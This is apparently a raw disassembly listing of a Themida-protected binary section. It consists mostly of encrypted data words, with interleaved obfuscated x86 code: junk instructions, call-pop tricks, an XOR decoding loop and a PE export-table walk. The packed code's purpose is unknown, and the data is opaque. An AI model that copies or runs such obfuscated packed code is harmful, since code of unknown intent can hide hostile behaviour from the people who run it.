		dd 0CE03BE0Bh, 0A2E9A61h, 35B27B66h, 0C8094826h, 0DE8BAD3Eh
		dd 0FE9B9B98h, 9EAD3EC7h, 0E691BE6Bh, 0ABD2BD93h, 4B3217B2h
		dd 62D25C52h, 0CB57DB2Eh, 1A33A4Fh, 0B9B46172h,	3EF49DC4h
		dd 510Ah, 7A701D00h, 7BB35A03h,	1E6DC40Dh, 0DE6A3511h
		dd 336AD3Eh, 0D7059E4h,	9D95DD94h, 0ECDE7FEEh, 917D1891h
		dd 0F1D875ECh, 2DC5F18Ch, 0DE86D3B3h, 6316AD3Eh, 0BA2A840Ah
		dd 1F7693Eh, 108D72h, 0F3A00000h, 3D3679A1h, 0F0E2986Fh
		dd 0FF7Fh, 0D97F3100h, 31000000h, 553A6DC4h, 0A1D88128h
		dd 21D61E08h, 2546028Fh, 9C193836h, 0EA7B57EEh,	46EF7607h
		dd 0B52D47EFh, 0F4E283Bh, 8D57EE9Ch, 169396DCh,	0E21CB1B4h
		dd 75h,	3A6DC4D4h, 0D9802954h, 0F5A093A0h, 0DED580FDh
		dd 306DD79Fh, 6CAD3EDFh, 6945F2D9h, 0AD3EDF2Ch,	0F178C168h
		dd 8E78F148h, 0CD5F0BEBh, 850171FDh, 51E1CE04h,	36F4h
		dd 6DC4C600h, 13DB9C38h, 45EC1271h, 8389C8A6h, 180BAD3Eh
		dd 3E837F1Eh, 5FEC1DADh, 1FCE0661h, 69FD66Fh, 5ECC991Ch
		dd 931F8F1Ah, 0E1E49217h, 76604h, 7F580000h, 50h, 59972431h
		dd 59F8F609h, 3BAD3E3Ah, 8C95810Eh, 116C65F0h, 0FA99E198h
		dd 0B4A2413h, 89AD3E66h, 361099E0h, 0AD3E6564h,	0ABC32F39h
		dd 69D7B9C4h, 1A1E6DC4h, 0A10B1D73h, 0EC25AA11h, 54D5AD3Eh
		dd 7201EA54h, 0FFFF0FA2h, 6B7F14FFh, 31000002h,	0C7DE9F86h
		dd 0AD3A432Ah, 0DE91C0BEh, 5603AD3Eh, 7083B020h, 3EDEC796h
		dd 0CEA4D5ADh, 0F7F443FDh, 53E74BF7h, 0A7BE6BB3h, 29D69ABBh
		dd 54E04EA7h, 0ECEECFD8h, 573BCA6Bh, 0A0D67F26h, 50F0h
		dd 6CC4E200h, 0DEBAD7D7h, 2FDAAD3Eh, 0E9FAE906h, 3EDE500Dh
		dd 551D4CADh, 53E253E7h, 0B9AE5FB3h, 0DBD1807Eh, 96C3A729h
		dd 277650DFh, 75A729DCh, 88B16EC4h, 0DB5405E1h,	1A94A729h
		dd 8D83108Ah, 0A424229Ah, 91161961h, 656BECB5h,	0B9h, 0FA9F8657h
		dd 0DDA08613h, 0D640D94h, 6A13F994h, 0B1C4CE7Dh, 19457E5Bh
		dd 0C4AB4661h, 2A25B0B9h, 0E5377153h, 0DAD3ED3h, 42F88580h
		dd 0D2611C13h, 674D4C43h, 8F465F16h, 0DE5AE7E7h, 0DFF3A08Fh
		dd 27227003h, 0A83A2DB9h, 0E34050EBh, 620B92EBh, 0E8C6630Bh
		dd 0B35658B0h, 52FFFFF4h, 42A72758h, 44D15E17h,	0E809314Ch
		dd 8606775Dh, 0F06419FBh, 0FC1221C4h, 69BD51C8h, 66000004h
		dd 0ED98F885h, 6D187805h, 0FF8AFA83h, 6B167607h, 1594F489h
		dd 16674DA7h, 97E6CBB6h, 16674A35h, 99E4CBB6h, 94725F37h
		dd 0A7246FC5h, 8670DED7h, 81FCF5A4h, 880831E8h,	196B12FDh
		dd 373724ABh, 0AD3EDF1Ah, 65BEBFA8h, 0D8CF7EB4h, 7671FCA5h
		dd 80388507h, 22B1C231h, 62476F52h, 0BCCB821Bh,	0D69C1429h
		dd 532D6A68h, 0E3C776B3h, 84ADD0B6h, 265750DDh,	0B3E274Fh
		dd 0CE7A892h, 0F185A729h, 0BA09A781h, 1D45512Dh, 0A8D1AD3Eh
		dd 0FF9E988Bh, 9DAD3E1Ch, 75C2C66Ch, 7F7F6CBBh,	0B35882ACh
		dd 43D26108h, 6660304Dh, 0A724383Dh, 68F5A289h,	0BDCEC596h
		dd 5203F049h, 0D188215Ch, 475325A9h, 7D000000h,	3EDF1637h
		dd 0BB50EAADh, 3EDE9EBBh, 5A65FEADh, 0AD3D7B2h,	4242EB42h
		dd 8866D1B7h, 0AD3E8BC9h, 0CED79ECBh, 3E8BA5F4h, 0F76B0BADh
		dd 3494E9DFh, 0E6F56E7h, 37462D68h, 8C02542Eh, 0C56FAD3Eh
		dd 5F1E152Dh, 0A386DF6Dh, 605E4DDAh, 0AD3EDF31h, 0E980B663h
		dd 8755BEAh, 4D302332h,	0C9D0B954h, 4D049DE0h, 0F4F07D24h
		dd 7CFAE089h, 3043B4E8h, 0DF164343h, 0BBB4AD3Eh, 29F29BC2h
		dd 0A83C3A00h, 47E49990h, 0D1A9D4B6h, 0F18EC3FDh, 31C0AD3Eh
		dd 7201E559h, 0FFFF679Dh, 9F862FFFh, 8B8514FAh,	6BF23BF2h
		dd 3696E7DEh, 0C3745CE9h, 3EDE96C3h, 1A5306ADh,	27A4CA83h
		dd 0D1AD3A89h, 0B353E775h, 15F178A1h, 0A729D644h, 1E9A0AA4h
		dd 6BECEE89h, 4B6Dh, 6CC45F00h,	0A300E1Dh, 0CAB353E2h
		dd 7C09069Fh, 0B745ED90h, 0A729DB96h, 2EB26152h, 9F70C101h
		dd 951F2265h, 0B2A83DF6h, 2A600C4Fh, 0E88EE747h, 0CDDA56CEh
		dd 296BECE6h, 0EEh, 255851FCh, 0E2AF8F7Ch, 0B2A729C6h
		dd 0A88AE87h, 0C7DE9F86h, 684F482Ah, 0EE9A3916h, 1CAF3CF5h
		dd 9E552A46h, 2641F98Bh, 0B9F3A48Bh, 0D12B4E15h, 7F0A93DAh
		dd 8693F588h, 116914F7h, 3DE73133h, 0C9B49BADh,	48513CC7h
		dd 2D503960h, 0D7342D04h, 0E1D0A59h, 3DE66130h,	300633ADh
		dd 2A25B0C3h, 0CBA34A53h, 52E9C171h, 858015B3h,	24F41F8h
		dd 0EBF8F746h, 0FCD9858h, 817D84D4h, 0A7298ED4h, 9AE099C0h
		dd 4139EEACh, 6C7BAEADh, 3292EBE1h, 0F24C56E5h,	0DFB828E3h
		dd 6716FC97h, 707F5F1h,	0A83AB7FAh, 1ECh, 398BF2E3h, 0A1235A4Eh
		dd 3B8DF0D6h, 0A7295450h, 587F6DCh, 0F4D630A6h,	937C0789h
		dd 0FCEF9AEAh, 89840F81h, 0FFC94F4h, 246C622Fh,	0CB4332A7h
		dd 0B393A486h, 0AD3EDEE6h, 0DAAA83B6h, 364740CDh, 235A5500h
		dd 6CC413A1h, 701D0E1Dh, 0CF2D0578h, 0B353E22Bh, 0BBA7BE6Bh
		dd 0A729DB9Ah, 0D854E04Eh, 6BECF7CFh, 0C127h, 9F869900h
		dd 482AC7DEh, 39186A4Fh, 0D0202F4Eh, 0CA8767C6h, 0CAAD3E3Ah
		dd 69FD69Fh, 3E3F481Ch,	0E29B92ADh, 0B1CCB845h,	553901B8h
		dd 0AAD3BD48h, 1934FAB3h, 0F9564F2Eh, 303F03Fh,	0B35340F3h
		dd 0DDA092A3h, 64640DC4h, 1D0A59D7h, 40E41621h,	0C1B3C2ADh
		dd 0C77675BCh, 0EB3898E5h, 3006775Ah, 836A2F25h, 9FAA63FAh
		dd 22CBD2ABh, 0A2E3054Bh, 0E099FA07h, 10B4Eh, 0AECFC400h
		dd 3E3F33DEh, 0B0CDC34Eh, 443935E0h, 0AAD3B944h, 936D5BDAh
		dd 21ECDCA1h, 88735528h, 21ECDCA1h, 9D755726h, 6B87D6B0h
		dd 0A015A724h, 0D9A48632h, 62DEA95Ah, 0BA0843F3h, 9A9C058Dh
		dd 35FDDB90h, 0BEBFA651h, 9F8680CEh, 0D64751F8h, 0FAF46DDBh
		dd 0AD3EC05Bh, 10691039h, 6C11FC99h, 8A7E0F1Ch,	0E8DF6AF3h
		dd 0C650C95h, 7CCB6566h, 94E9DE6Fh, 388B7E0Dh, 51EA4414h
		dd 0E5E15228h, 0B358B18Eh, 4BE67FAAh, 0CCB71964h, 0B0CDB8E1h
		dd 0E9164343h, 0D386A723h, 4008D9Ah, 0DD7C7A79h, 0BFA723E8h
		dd 0E1BDE48Ah, 0BC00E72Fh, 0C24901Eh, 3F6C5C21h, 0AA42D58Ch
		dd 34D81FD7h, 24B2E17Eh, 0BAD9A14Dh, 0DF87C4D3h, 425A4F04h
		dd 0EFD772EBh, 927A178Eh, 0F0D772EBh, 305D148Dh, 351D4439h
		dd 40F72BB7h, 0B744BE36h, 0EDED9404h, 831268C0h, 0F49FF18Ch
		dd 49DD84F9h, 10h, 0D4C7B467h, 0C6403D29h, 0AD3EDE97h
		dd 0AC1E5405h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h
		dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h
		dd 0DBC6804h, 0C890000h, 0E7895724h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 50240C89h, 405E089h, 83000000h, 48704E8h
		dd 2C895C24h, 3685624h,	5E4FCA7Ah, 0ECA6C681h, 0F189B64Fh
		dd 8124348Bh, 4C4h, 4EC8100h, 89000000h, 4832424h, 535D0424h
		dd 0BA52CB89h, 8, 1A89EA01h, 34FF5B5Ah,	0C4815D24h, 4
		dd 592434FFh, 0E904C483h, 0FFFBD3F4h, 746EB886h, 0C503061Ah
		dd 5727E0FFh, 0C6880A7Ch, 66B73FCDh, 0AA547441h, 0A6134B20h
		dd 33A1127Fh, 354951A9h, 97D71B0h, 0F16166D7h, 16AA5DBAh
		dd 0BF4806DDh, 190835E3h, 4E1F750Bh, 0D8EE091Bh, 98DB2256h
		dd 6EC73C2h, 0C5B86336h, 0B6D71A88h, 9D8D1372h,	6150581h
		dd 0CEB8h, 0FD858900h, 0E8061500h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5D105B
; ---------------------------------------------------------------------------
byte_5D0F8D	db 2 dup(0), 0F2h	; DATA XREF: Themida_:00579FB0o
		dd 2Dh dup(0F2000076h)
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1047:				; CODE XREF: Themida_:005D1066j
		repne jbe short	$+3
		add	dl, dh
		jbe	short $+2
		add	dl, dh
		jbe	short $+2
		add	dl, dh
		jbe	short $+2
		add	dl, dh
		jbe	short near ptr loc_5D1058+1 ; CODE XREF: Themida_:loc_5D1058j
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D105B:				; CODE XREF: Themida_:005D0F88j
		call	sub_5D106A
		popa
		bound	edx, [ebx]
		aaa
		test	al, 52h
		jnp	short loc_5D1047
		loope	loc_5D10B0

; =============== S U B	R O U T	I N E =======================================



sub_5D106A	proc near		; CODE XREF: Themida_:loc_5D105Bp
		mov	ecx, 70FC945Dh
		pop	eax
		call	near ptr loc_5D107C+1
		and	[ebx], bh
		in	eax, dx
		neg	byte ptr [esi+74h]
		pop	ds


loc_5D107C:				; CODE XREF: sub_5D106A+6p
		mov	edx, 815E33B5h
sub_5D106A	endp ; sp-analysis failed

		sar	dl, 6Fh
; ---------------------------------------------------------------------------
		dd 68F50000h, 0
; ---------------------------------------------------------------------------
		mov	ch, 5Fh
		pop	edi
		mov	cx, 4AE3h


loc_5D1093:				; CODE XREF: Themida_:005D1106j
		mov	edx, [eax+edi]
		xor	ebx, 35A509A8h
		xor	edx, 7A7431C9h
		js	near ptr dword_5D10AC
		mov	bx, 55C7h
; ---------------------------------------------------------------------------
dword_5D10AC	dd 0AE5AEA81h	; ---------------------------------------------------------------------------


loc_5D10B0:				; CODE XREF: Themida_:005D1068j
		nop
		dec	esp
		clc
		sub	edx, 64AF090Eh
		jg	loc_5D10CD
		jmp	loc_5D10CD
; ---------------------------------------------------------------------------
		dd 0F2BEB361h, 0D1E09FA3h
; ---------------------------------------------------------------------------
		dec	ebx


loc_5D10CD:				; CODE XREF: Themida_:005D10B9j
					; Themida_:005D10BFj
		push	edx
		jmp	loc_5D10E7
; ---------------------------------------------------------------------------
		lahf
		cld
		pop	edx
		inc	ebx
		and	al, dh
		xor	[edx], bh
		dec	esp
		retf
; ---------------------------------------------------------------------------
		db 20h,	13h, 0CDh
		dd 5848DA32h
		db 1Ch,	0B7h, 0D8h
; ---------------------------------------------------------------------------


loc_5D10E7:				; CODE XREF: Themida_:005D10CEj
		pop	dword ptr [eax+edi]
		and	bh, 45h
		mov	ebx, 8116A96h
		sub	edi, 770BEBFBh
		add	edi, 770BEBF7h
		mov	bh, cl
		cmp	edi, 0FFFF90B4h
		jnz	loc_5D1093
		sbb	esi, 2503527Ah
		lea	ecx, [ebp+61A77D5h]
		mov	eax, [ebp+6150AD9h]
		mov	[ebp+6152721h],	ecx
		push	0
		push	ecx
		call	sub_5D112F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D112F	proc near		; CODE XREF: Themida_:005D1127p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5D112F	endp

; ---------------------------------------------------------------------------
		align 10h
		rol	byte ptr [edx-7], 1
		add	al, 2Ch
		cld
		mov	[ebp+61506E1h],	ecx
		mov	dword ptr [ebp+61504CDh], 61F0h
		push	0
		push	esi
		call	sub_5D1161
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1161	proc near		; CODE XREF: Themida_:005D1159p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5D1161	endp

; ---------------------------------------------------------------------------
		db 59h,	0F1h, 0B6h
		dd 0E80D83A3h, 8, 7C4C45E0h, 77032C06h,	12E8h, 9AD01800h
		dd 0BEE86BD7h, 68354A59h, 0B6CCED09h, 0FC76190h, 86h, 0C75A5F00h
		dd 15111585h, 6, 35BD8B00h, 0FF061530h,	152E0DB5h, 9EE88006h
		dd 2C995FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2E1046C3h, 5299B9B8h, 14F19589h
		dd 0E95F0615h, 0Dh, 63621142h, 66E304F6h, 201A48BCh, 0FF006A48h
		dd 152E2195h
; ---------------------------------------------------------------------------


loc_5D1204:				; DATA XREF: Themida_:0057A110o
		push	es
		mov	eax, eax
		jmp	short loc_5D1285
; ---------------------------------------------------------------------------
		db 79h,	0DDh, 76h
		dd 2C08FF38h, 96E20D3Dh, 0ACBC2AA2h, 4E436640h,	0CE6E66B5h
		dd 59BA19A9h, 2872CA8Eh, 5ACF78F5h, 8A042F94h, 0A3374469h
		dd 0F87342D2h, 0CE6FEF9Fh, 56A81B18h, 6F2DE421h, 2EF3C1Ch
		dd 129E9C7h, 0A1FAA901h, 0B4BFFCF2h, 32E42026h,	0C85E22ABh
		dd 0EF03E40Fh, 0D6706143h, 11369C88h, 6189128Eh, 3586397Eh
		dd 30D574DCh, 4AD8DD13h, 1D1C5E4Eh, 0ECCB7831h,	0C17CFDC8h
; ---------------------------------------------------------------------------
		push	eax


loc_5D1285:				; CODE XREF: Themida_:005D1207j
		jmp	loc_5D133A
; ---------------------------------------------------------------------------
		pusha
		mov	dx, ds
		test	dl, 4
		jnz	loc_5D12A3
		cmp	eax, [ebp+6151685h]
		jz	loc_5D12D9


loc_5D12A3:				; CODE XREF: Themida_:005D1291j
		cmp	eax, [ebp+6150789h]
		jz	loc_5D12D9
		cmp	eax, [ebp+6151789h]
		jz	loc_5D12D9
		cmp	eax, [ebp+6151015h]
		jz	loc_5D12D9
		cmp	dword ptr [ebp+6152CEDh], 1
		jz	loc_5D12D9
		jmp	loc_5D1338
; ---------------------------------------------------------------------------


loc_5D12D9:				; CODE XREF: Themida_:005D129Dj
					; Themida_:005D12A9j ...
		mov	edx, eax
		add	edx, [edx+3Ch]
		mov	edi, [edx+88h]
		mov	ecx, [edx+78h]
		test	ecx, ecx
		jz	loc_5D1338
		add	edx, 0F8h
		mov	esi, [edx+0Ch]
		add	ecx, eax
		mov	ebx, [ecx+1Ch]
		mov	edx, [ecx+14h]
		add	ebx, eax


loc_5D1302:				; CODE XREF: Themida_:005D1320j
		mov	ecx, [ebx]
		test	ecx, ecx
		jz	loc_5D131C
		cmp	ecx, esi
		jb	loc_5D132B
		cmp	ecx, edi
		jnb	loc_5D132B


loc_5D131C:				; CODE XREF: Themida_:005D1306j
		add	ebx, 4
		dec	edx
		jnz	loc_5D1302
		jmp	loc_5D1338
; ---------------------------------------------------------------------------


loc_5D132B:				; CODE XREF: Themida_:005D130Ej
					; Themida_:005D1316j
		lea	ebx, [ebp+6154F9Eh]
		mov	eax, 5
		jmp	ebx
; ---------------------------------------------------------------------------


loc_5D1338:				; CODE XREF: Themida_:005D12D4j
					; Themida_:005D12E9j ...
		popa
		retn
; ---------------------------------------------------------------------------


loc_5D133A:				; CODE XREF: Themida_:loc_5D1285j
		or	edx, eax
		lea	ecx, [ebp+61A79C8h]
		push	0
		push	edi
		call	sub_5D134D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D134D	proc near		; CODE XREF: Themida_:005D1345p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5D134D	endp

; ---------------------------------------------------------------------------
		db 71h,	0A8h, 0DCh
		dd 2B255D79h, 8E9B9h, 95CA0000h, 243FCA0Dh, 23517629h
		dd 150E059Dh, 8D895F06h, 6152721h, 6919D89h, 85C70615h
		dd 61504CDh, 6070h, 45BD3357h, 5806152Ah, 111585C7h, 615h
		dd 0F8530000h, 89BD8B5Eh, 0FF061518h, 1502B5B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 11E97C0Eh, 82000000h, 32B41BB4h, 4A79635Bh, 562FB6D5h
		dd 0C2303E6Eh, 2C995FFh, 0C6810615h, 1B7EE085h,	95FF006Ah
		dd 6152E21h, 2FEBC08Bh,	81CA6770h, 2A1D376Eh, 50657ADh
		dd 80FF808Ah, 444681Ah,	0F046B389h, 0DE5B5F7h, 0FB29B31Ah
		dd 9D2C6832h, 19ADCCD2h, 0B21E706h, 0EB4C7B69h,	60h, 17h dup(0)
		dd 0B71E900h, 65E90000h, 6800000Bh, 61A8272h, 0FB03E1E9h
		dd 83CD68FFh, 0D7E9061Ah, 68FFFB03h, 61A8441h, 0FB03CDE9h
		dd 0DC4CAAFFh, 1787EA39h, 0E454B17Eh, 2E9E2211h, 0EA5AD847h
		dd 0A41F8C0Bh, 0F03FD646h, 0A9761F8Fh, 0E53ADB4Bh, 547F1686h
		dd 8896BB8Ah, 9455169Ch, 0E0624FA8h, 16999A70h,	0F370A6h
		dd 0B9660F7Fh, 0EAF4CA3Ah, 86F2365Bh, 6E4B510h,	0E4114608h
		dd 0C69787C3h, 4DAF5C0Eh, 55B001DDh, 2DCB1E5h, 86281E43h
		dd 1ECCDD10h, 0C7C03F0h, 2999190Ah, 361FEDh, 8B29A1E5h
		dd 8DED1ECCh, 0A808191Dh, 88E5FE38h, 0A4051E18h, 0E92D9D18h
		dd 6DFB3B14h, 97C599C9h, 86C0E52Ch, 149B8810h, 0B29D72A4h
		dd 98BF86D8h, 5F16A15Eh, 715ECE32h, 7F15686Dh, 90A71794h
		dd 3C2EED97h, 0C838B9FAh, 88B87D2Dh, 6EFA7DB6h,	0A4999D0Dh
		dd 0DA9CAC8Bh, 0AD9C1631h, 776577BDh, 9CDB85CCh, 0B3576816h
		dd 9CDBCD08h, 979FB016h, 0A5B9298Ah, 0CBBF2F8Ch, 0C7247CC0h
		dd 65276557h, 464F04Ch,	6BCFBB94h, 0E0DC0CABh, 8398864Fh
		dd 0D9D24A19h, 0A6D66231h, 68A82673h, 3DB9h, 0CABCD00h
		dd 864FE0DCh, 0BAD8ECD9h, 0FD3F2BFFh, 860C0346h, 0E3D9EA10h
		dd 0C5246B4Fh, 6D4ABA39h, 3319348Ah, 9F9DB249h,	73E3624Fh
		dd 4F60CC97h, 28F08986h, 0B65413F1h, 2B06h, 0CAB2200h
		dd 54B102DCh, 2DDDB2E4h, 0ADF44F05h, 0DE1086F2h, 6B4FCBF1h
		dd 3FDC864Fh, 9CB92DDh,	0E151B061h, 0E353D4DDh,	72561307h
		dd 3DB0BABh, 9C1BA040h,	2A6C3D16h, 93DB82CBh, 19C46B16h
		dd 0E858D8D9h, 0C434B5AEh, 0D848A8EBh, 8A09E1DEh, 9DBD431Fh
		dd 20BA5h, 0AAB8100h, 0FF56FEE2h, 2B04199Dh, 5461B013h
		dd 0B1C1086h, 0D8C22233h, 952B0E6Bh, 0C61567C2h, 3E2C50F5h
		dd 53C90ED0h, 3A607AA7h, 83F35241h, 61C92AE7h, 22870C00h
		dd 8D5BA5B2h, 3618FDD2h, 40749D28h, 2EF71086h, 49F4AA55h
		dd 9F4B6467h, 0E3624F7Bh, 0CE2E4373h, 4867585Eh, 0A21271A2h
		dd 0E3624F7Ah, 3660D057h, 4F407659h, 0AB89719Bh, 0D502DC0Ch
		dd 0E311C1F2h, 34E88269h, 86FC486h, 96A19E98h, 35AEE20Fh
		dd 36DE8C42h, 0A82673A6h, 57B968h, 0ABCD0000h, 4FE0DC0Ch
		dd 9971E162h, 0F2D900C3h, 0A2A41086h, 86F2FE23h, 83AC7D10h
		dd 0B7864F99h, 1E6EF6B6h, 38827047h, 0AE0F172Bh, 24427ABCh
		dd 4CBC39C5h, 624F3963h, 0CB9A70E0h, 0E0624F5Dh, 0CD2D4670h
		dd 4B64595Dh, 48039Fh, 23390000h, 86F279A0h, 57330410h
		dd 0DC0CABE3h, 0ADF44FE0h, 0DE1086F2h, 68CB57D5h, 0EEDFD7F8h
		dd 0DED848A5h, 0C3F0CEE1h, 0F3E4D242h, 0E560D379h, 0E42F00E8h
		dd 0C9711989h, 0C5246B4Fh, 0F0538955h, 1086F2A9h, 73A74354h
		dd 0AAB7256h, 6C4104DAh, 0EF1086F2h, 0A6D700DEh, 18BC4583h
		dd 331913F7h, 0D7779A29h, 25F61086h, 0F767C445h, 0C7241A1Eh
		dd 0F2BADF66h, 70411086h, 43275D5Fh, 0E0DC0CABh, 73A6A286h
		dd 0D368A826h, 0C28EFB02h, 4525DC8Ch, 46D5h, 0CABB100h
		dd 8D4FE0DCh, 6056C624h, 0F9207B6Fh, 221086F2h,	0F73FAF11h
		dd 63346406h, 246B4F39h, 4C8955C5h, 0F4BAB12Bh,	0D53D2D88h
		dd 5FB57256h, 0F3000000h, 6DC768E2h, 19BA9D0Dh,	13AF88C4h
		dd 9892B297h, 0ABE35733h, 0DC02DC0Ch, 86F22069h, 10FACB10h
		dd 0E0624F2Ch, 0F29DC47Fh, 4F601086h, 11B48A60h, 1086F2C8h
		dd 81C87B41h, 6C1086F3h, 19BB9263h, 93BC8E29h, 6B4F80BCh
		dd 6755C524h, 66C39456h, 267FC5FFh, 0EB1EA1B6h,	0F20949Dh
		dd 0CFB5B75Bh, 0D1000000h, 4DA0AABh, 86F21041h,	0DCDAEB10h
		dd 400364C7h, 1086F219h, 0E2FCD3E4h, 5EE36FD1h,	0F8D7A8EEh
		dd 476058DFh, 0FBEF31B8h, 0C724CC70h, 65276557h, 377CEC4Ch
		dd 7D5244B4h, 0CABA58Dh, 0F23158EBh, 0C92F1086h, 0F9D6E759h
		dd 0DF624FC3h, 4CF07B6Fh, 93B68D4Fh, 5A1086F2h,	77E74A49h
		dd 26C51893h, 4B2B68A8h, 0FF000000h, 93B68D4Fh,	5A1086F2h
		dd 77E74A49h, 0F69C4E3Fh, 54701B43h, 7E3427F7h,	0F44F6B51h
		dd 1086F2ADh, 4F3D7F50h, 64C5246Bh, 0F286CB7Ah,	54651086h
		dd 86F2A8F1h, 6D425310h, 4F72562Fh, 95C81486h, 54361C9Fh
		dd 1D68h, 0CAB4400h, 0C5DD20E4h, 17381EFDh, 0ADF44F25h
		dd 0DE1086F2h, 6B4FCBF1h, 6755C524h, 0C7247256h, 0F2525F57h
		dd 0BF3CF382h, 0E844D033h, 6E5F5778h, 21F08A49h, 52A518Bh
		dd 87E64B11h, 3487317h,	6F10869Eh, 0FADB17C6h, 4C9D4F0Ch
		dd 0F633D7A1h, 68B11475h, 131086FEh, 0DB482D02h, 0FD6DCC58h
		dd 0BA5DE4D2h, 0C3278C4Eh, 806A6353h, 0A221A619h, 0BAF76332h
		dd 0F3CCCA3Ah, 0ADDDA117h, 17563291h, 0D6E7169Ch, 0C43865E0h
		dd 4AC51693h, 5083E663h, 20099DBDh, 1D000000h, 8757C724h
		dd 0B456C62Ah, 0F2D6FB7Ah, 6B1A1086h, 90008344h, 0BB7C5905h
		dd 8ABAEA6Ch, 24BB5F0Bh, 7D5F57C7h, 0F352B334h,	1086F2AEh
		dd 63537C4Dh, 661A806Ah, 0CA9D2836h, 4916A16Ch,	0CD786678h
		dd 169C8884h, 0BD885667h, 169C8894h, 0C9A44657h, 6ED11DE1h
		dd 0E8C7B8FEh, 61936FD6h, 192A1086h, 5177961Dh,	99001CA9h
		dd 0BD962326h, 211EA3D7h, 0FA000000h, 3ABE0AABh, 0DCF3CCCAh
		dd 0F26E4302h, 268B1086h, 5B951C1h, 0AC092A34h,	125B593Ch
		dd 2F000000h, 4DA0AABh,	86F26C41h, 0DEEF10h, 13E252B3h
		dd 0B68D4F25h, 1086F293h, 1A1495Ah, 193h, 0E010AB15h, 0DF624FBCh
		dd 0B456276Fh, 0C724727Ah, 654ABA3Bh, 6BDB5859h, 84B8522Bh
		dd 71E1624Fh, 0D3A24845h, 2673A665h, 37B968A8h,	0CD000000h
		dd 93B68D4Fh, 5A1086F2h, 4CF7A149h, 0F271982Bh,	2BFC1086h
		dd 0F44F1804h, 1086F2ADh, 4F3D7F50h, 59C9246Bh,	34864F63h
		dd 529575F8h, 1D0B5A30h, 2CB5h,	624FD100h, 2E4373E3h, 625B5BCBh
		dd 48F39D4Dh, 0AD184618h, 1086F264h, 0E0543607h, 0F2ADF44Fh
		dd 0F1DE1086h, 246B4FCBh, 566359C9h, 57C72472h,	0AB432765h
		dd 4FE0DC0Ch, 0F293B68Dh, 495A1086h, 0A666D2A1h, 68A82673h
		dd 42B9h, 624FCD00h, 167C6EDEh,	4F093363h, 86F2ADF4h, 3D7F5010h
		dd 0BF488D4Fh, 24F44E84h, 33A3060Dh, 624FE357h,	0F23975DDh
		dd 250BB89Ch, 57330C0Ah, 0B5E757DAh, 624F7256h,	56276FDFh
		dd 6F08B4h, 0AB240000h,	0D502DC0Ch, 0EEF9A8DAh,	0A9199910h
		dd 0BC2C8D86h, 2DE5857Ah, 0F44F8D4Fh, 1086F2ADh, 308B7F50h
		dd 1086F2E9h, 0EE6C1522h, 0ED65560Fh, 8EDBFCC2h, 0E9691DB5h
		dd 0F83BB5FCh, 4B64FC41h, 6B4F7B9Fh, 93B68D4Fh,	5A1086F2h
		dd 9F0B6E49h, 2405BD9Ah, 0F464C546h, 869C9EAh, 86CD143Dh
		dd 0E9C6D710h, 0F007D0ADh, 0D083AF97h, 56CC701Ah, 67C82472h
		dd 86F2B5DCh, 48673810h, 4BBB3D76h, 0CE0E759Fh,	961086F2h
		dd 0A90BBC23h, 42B9B1Dh, 54EFED71h, 1086F20Dh, 6DBB4E87h
		dd 0A00099A5h, 2437DB8Fh, 455E58C8h, 756777E7h,	0F550C03Ch
		dd 1086F2ACh, 72E2624Fh, 0C87FAD5Dh, 4A14DED1h,	86F2567Bh
		dd 0B0131510h, 1086F269h, 3E2C0314h, 370E6FCDh,	1086F212h
		dd 0EE7C8D9h, 86FC2BB3h, 0CC5CD910h, 5697A827h,	0FFFFFE25h
		dd 0F297B632h, 0B25B1086h, 0CF1086F2h, 430263E2h, 1086F21Eh
		dd 7E3CCDDh, 86F2769Ch,	0F2D1FC10h, 74991086h, 0FC1086F2h
		dd 0D086F2D1h, 199EEA8Eh, 0BF906DA9h, 0E6CC249Fh, 0EDEFD69Eh
		dd 91063356h, 6ECDBAD6h, 8539D1FEh, 48F882B4h
		dd 477F4618h, 16D08BF7h, 9D2D7805h, 82EF1BDh, 2B4ACh, 0A8189600h
		dd 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh, 0D0C3C8DFh
		dd 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h, 70D2F7CEh
		dd 0D899169Ch, 3BC72464h, 13F74DB5h, 369F9F16h,	36283619h
		dd 86524A8Fh, 8A603110h, 2A5A1E8Ch, 0CCDAB114h,	506116A1h
		dd 57C7258Eh, 6176D8B3h, 0F6CD06Dh, 91A6979Fh, 9872FCD3h
		dd 9DFBE02Dh, 0B4102116h, 0B98C5244h, 169DFB90h, 85654A5Bh
		dd 233B6B0Bh, 979F839h,	7D03300Dh, 1D3E5D0Dh, 0DC10BA65h
		dd 3DBEF3CBh, 78FB28CDh, 0E6134710h, 0E5CAAFD3h, 5C0352B1h
		dd 4CEC1CB3h, 0E483421Ch, 731A94C2h, 14979CA2h,	248DD1A4h
		dd 44B437C3h, 31927F6Bh, 0DA2C75D0h, 0FECF02D6h, 0A353E5D1h
		dd 0FD86B73h, 8E04F144h, 4FEF79BDh, 381D3F1Fh, 9823E2Bh
		dd 86BA812h, 8CD3F298h,	6B0ECBF3h, 6E49B93Eh, 34FC59ADh
		dd 805E7103h, 0D46FD033h, 0E037E8Dh, 6FFC3007h,	9B7AEE0h
